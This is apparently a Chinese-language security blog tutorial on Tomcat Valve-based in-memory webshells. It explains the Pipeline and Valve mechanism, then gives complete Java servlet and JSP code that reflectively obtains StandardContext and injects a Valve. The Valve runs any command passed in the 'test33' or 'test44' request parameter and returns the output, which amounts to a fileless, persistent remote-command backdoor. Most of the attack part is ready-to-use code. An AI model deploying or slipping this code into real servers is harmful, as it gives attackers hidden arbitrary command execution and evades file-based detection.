前言
Valve内存马是和filter,listener,sevlet内存马是不同的,后三者的内存马是放在web的请求中的,而Valve的内存马是放在Pipeline的流程中的。
什么是Valve
因为前面可能只是提了一下valve,比如StandardEngineValve,并没有具体的介绍,所以这里具体介绍一下:
Tomcat 的容器结构是层级制的(Engine -> Host -> Context -> Wrapper)。每个容器都有一个 Pipeline(管道),而管道中可以挂载多个 Valve(阀门)。
例子:当一个请求通过容器时,它会像流水一样流经管道中的每一个阀门。每个阀门负责完成特定的任务,然后将请求传递给下一个阀门,直到最后由 BasicValve(基础阀门)将请求交给子容器或业务逻辑。
简单来说,Valve 是 Tomcat 管道(Pipeline) 机制中的一个组件,用于在请求到达最终的 Servlet 之前,对请求进行拦截、处理或过滤。
大家可以看这张图辅助理解:

其实Valve是和filter很类似的,我们也可以通过特定的方法将我们创造的valve放入到Basic之前,这也是内存马能成功的关键点。
Valve内存马
内存马流程
一个简单的Valve小demo
1 2 3 4 5 6 7 8 9 10 11 12 13
| import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.valves.ValveBase; import javax.servlet.ServletException; import java.io.IOException; public class ValveExp extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException, ServletException { System.out.println("ValveExp invoke"); } }
|
那么如何添加内存马呢?既然是在pipeline中,我们可以找到一个特定的方法-addValve()

像这个方法一眼就是添加Valve的,看一下实现方法。

是在StandardPipeline类中实现的,那么如何获得这个类成了问题,这时我们就可以回到StandardContext类中找一下有没有转机。我们会发现:

这里确实有个getPipeline,我们点进去发现跳转到了ContainerBase类

它正好又是StandardContext的父类,这里我们可以通过StandardContext.getPipeline来获取到StandardPipeline。
那么Valve应该放到哪里面呢?是filter,listener还是servlet,答案肯定是Servlet里面,还记得我们分析servlet内存马时,分析过http请求的获取,在这个过程中获取了Valve,准确的说是获取了Valve并调用了invoke方法。所以我们把Valve放到servlet中,才能被加载。(其实像filter和listener的内存马也都是放到servlet里的)

Exp
第一种是java类型的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| import org.apache.catalina.Valve; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.Response; import org.apache.catalina.core.StandardContext; import org.apache.catalina.valves.ValveBase; import javax.servlet.*; import javax.servlet.annotation.WebServlet; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; @WebServlet(urlPatterns = "/demo33") public class ValveExp implements Servlet { @Override public void init(ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { try{ RequestFacade req1 = (RequestFacade) req; Class<? extends RequestFacade> aClass = req1.getClass(); Field declaredField = aClass.getDeclaredField("request"); declaredField.setAccessible(true); Request request = (Request) declaredField.get(req1); StandardContext context = (StandardContext) request.getContext(); Valve a = new ValveBase(){ @Override public void invoke(Request request, Response response) throws IOException, ServletException { if(request.getParameter("test33")!=null){ Process test33 = Runtime.getRuntime().exec(request.getParameter("test33")); InputStream inputStream = test33.getInputStream(); int len; byte[] buffer = new byte[1024]; while ((len = inputStream.read(buffer)) != -1) { response.getOutputStream().write(buffer, 0, len); } } } }; context.getPipeline().addValve(a); }catch(Exception e){ e.printStackTrace(); } } @Override public String getServletInfo() { return ""; } @Override public void destroy() { } }
|

第二种是jsp的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <%@ page import="org.apache.catalina.connector.RequestFacade" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Valve" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %><%-- Created by IntelliJ IDEA. User: LXu2n Date: 2026/2/23 Time: 14:21 To change this template use File | Settings | File Templates.--%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% try { RequestFacade request1 = (RequestFacade) request; Class<? extends RequestFacade> aClass = request1.getClass(); Field declaredField = aClass.getDeclaredField("request"); declaredField.setAccessible(true); Request request2 = (Request) declaredField.get(request1); StandardContext context = (StandardContext) request2.getContext(); Valve a = new ValveBase() { @Override public void invoke(Request request, Response response) throws IOException, ServletException { if(request.getParameter("test44")!=null){ InputStream inputStream = Runtime.getRuntime().exec(request.getParameter("test44")).getInputStream(); int len; byte[] buffer = new byte[1024]; while((len=inputStream.read(buffer))!=-1){ response.getOutputStream().write(buffer,0,len); } } } }; context.getPipeline().addValve(a); }catch (Exception e){ e.printStackTrace(); }%> <html> <head> <title>Title</title> </head> <body> </body> </html>
|

结束。
参考
Java内存马系列-06-Tomcat 之 Valve 型内存马 | Drunkbaby’s Blog